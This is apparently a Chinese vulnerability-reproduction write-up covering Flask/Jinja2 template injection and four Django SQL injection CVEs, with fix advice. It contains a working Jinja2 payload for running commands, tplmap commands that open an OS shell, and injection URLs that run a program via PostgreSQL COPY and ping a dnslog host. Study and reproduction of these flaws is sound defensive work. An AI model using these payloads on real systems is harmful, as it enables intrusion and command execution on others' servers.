总字符数: 8.11K

代码: 2.02K, 文本: 2.54K

预计阅读时间: 20 分钟

Flask(Jinja2) 服务端模板注入漏洞

漏洞描述

Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站.
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架.这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表.Flask 的依赖如下:

  • Werkzeug 一个 WSGI 工具包
  • jinja2 模板引擎
    • Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
    • Jinja2 是 Flask 框架的一部分.Jinja2 会把模板参数提供的相应的值替换了 {{...}}
    • Jinja2 模板同样支持控制语句,像在{%…%}块中

漏洞原理

先进入容器看一下web服务的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如http://192.168.164.128:8000/?name={{3*3}}

当然发送这种情况不能由jinja2背锅,这完全是开发人员的编码不当,若我修改如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)


@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello {{n}}")
return t.render(n=name)


if __name__ == "__main__":
app.run()

就不存在模板注入

基础知识

Jinja2 的模板中执行 Python 代码

在jinja2中是可以直接访问python的一些对象及其方法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数

那么如何在 Jinja2 的模板中执行 Python 代码呢?

如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册
那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法

利用 Python 特性

  • _bases_
    以元组返回一个类直接所继承的类

  • _mro_
    以元组返回继承关系链

  • _class_
    返回对象所属的类

  • _globals_
    以dict返回函数所在模块命名空间中的所有变量

  • _subclasses_()
    以列表返回类的子类

  • __builtin__
    内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtin__中可以查到.查看的方法是dir(__builtin__)
    ps:在py3中__builtin__被换成了builtin
    _builtin_ 和 __builtins__之间是什么关系呢?

    1. 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此.

    2. 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

Jinja2不能像字符串对象,列表对象那样直接引用('' []),那如何拿到file对象呢?就用上面给的属性和方法,如

1
2
3
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

用jinja的语法即为(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显)

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

漏洞复现

使用上面的代码即可执行命令

1
2
3
4
5
http://192.168.164.128:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

工具探测

这里利用模板注入工具tplmap

1
2
3
4
5
6
7
# 安装教程
git clone https://github.com/epinna/tplmap
python2 -m pip install -r requirements.txt -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
# 探测是否存在注入
python2 tplmap.py -u http://192.168.164.128:8000/?name
# 直接获取shell
python2 tplmap.py -u http://192.168.164.128:8000/?name --os-shell

修复建议

  • 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能.尽可能加载静态模板文件.
  • 注意:我们已经确定此功能类似于require()函数调用.因此,你也应该防止本地文件包含(LFI)漏洞.不要允许用户控制此类文件或其内容的路径.
  • 无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果

Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)

漏洞描述

利用版本:

  • Django 主开发分支

  • Django 2.2.x < 2.2.4

  • Django 2.1.x < 2.1.11

  • Django 1.11.x < 1.11.23

漏洞分析

什么是JSONField

Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用.

相比于Mysql,Postgresql支持的数据类型更加丰富,其对JSON格式数据的支持也让这个关系型数据库拥有了NoSQL的一些特点.在Django中也支持了Postgresql的数据类型:

  • JSONField
  • ArrayField
  • HStoreField

这三种数据类型因为都是非标量,且都能用JSON来表示,我下文就用JSONField统称了.

我们可以很简单地在Django的model中定义JSONField:

1
2
3
4
5
6
7
8
9
10
from django.db import models
from django.contrib.postgres.fields import JSONField


class Collection(models.Model):
name = models.CharField(max_length=128, default='default name')
detail = JSONField()

def __str__(self):
return self.name

然后,我们在视图中,就可以对detail字段里的信息进行查询了.

漏洞复现

首先登陆后台http://103.116.46.7:8000/admin/login/?next=/admin/,用户名密码为admina123123123

登陆后台后,进入模型Collection的管理页面http://103.116.46.7:8000/admin/vuln/collection/:

然后在GET参数中构造detail__a'b=123提交,其中detail是模型Collection中的JSONField:

http://103.116.46.7:8000/admin/vuln/collection/?detail__a%27b=123

可见,单引号已注入成功,SQL语句报错:

构造语句

http://103.116.46.7:8000/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--

由于or 1=1 永远为真,所以返回所有结果

Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

首先访问

http://103.116.46.7:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20

显示no results to fetch,语句已经执行

执行命令以下命令在hackbar执行,如果在地址栏执行可能需要二次编码

http://103.116.46.7:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_execs FROM PROGRAM 'ping pi95x1.dnslog.cn'--%20

可以看到,命令已经成功执行

Django GIS SQL注入漏洞(CVE-2020-9402)

漏洞概述

开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句

利用版本:

  • 1.11.29之前的1.11.x版本
  • 2.2.11之前的2.2.x版本
  • 3.0.4之前的3.0.x版本

漏洞利用限制

1、使用了GIS中聚合查询的功能

2、用户在oracle的数据库且可控tolerance查询时的键名

漏洞复现

访问 139.196.87.102:8000

Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)

漏洞概述

Django中QuerySet数据合集的order_by函数存在SQL注入漏洞.如果攻击者可以控制order_by传入的值,那么就可以注入恶意SQL语句造成SQL注入漏洞.

  • 影响版本:3.1.x < 3.1.13, 3.2.x < 3.2.5
  • 条件:
    • Debug=True
    • 接口使用order_by方法

漏洞复现

访问http://192.168.2.189:8000/

判断order_by:

访问http://192.168.2.189:8000/vuln/?order=-id

闭合方法:

APP名_数据库名.数据库存在的字段名);

1
http://192.168.2.129:8000/vuln/?order=vuln_collection.id);select%20updatexml(1,concat(0x7e,(select%20@@version)),1)%23

漏洞修复

  • 升级到3.2以上的安全版本

Django Extract & Trunc SQL注入漏洞(CVE-2022-34265)

漏洞概述

在受影响的Django版本中,可以通过传递恶意数据作为kind/lookup_name的值,如果应用程序在将这些参数传递给Trunc() 和 Extract() 数据库函数(日期函数)之前没有经过输入过滤或转义,则容易受到SQL注入攻击.将lookup_name 和kind choice限制在已知安全列表中的应用程序不受影响.

利用版本:

  • Django主分支

  • Django 4.0版本:< 4.0.6

  • Django 3.2版本:< 3.2.14

漏洞复现

环境启动后,你可以在http://192.168.2.189:8000/看到一个页面.这个页面使用了Trunc函数来聚合页面点击数量,比如使用http://192.168.2.189:8000/?date=minute即可看到按照分钟聚合的点击量:

修改date参数即可复现SQL注入漏洞:

1
2
http://192.168.2.189:8000/?date=minute'xxxx
python -m pip install django==4.0.5 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com

修复建议

目前此漏洞已经修复,受影响用户可以升级到以下版本:

Django 4.0版本:升级到4.0.6

Django 3.2版本:升级到3.2.14

注:此漏洞已在Django 主分支以及4.1、4.0 和 3.2 版本分支中修复,但Django 4.1版本目前处于测试状态.

下载链接: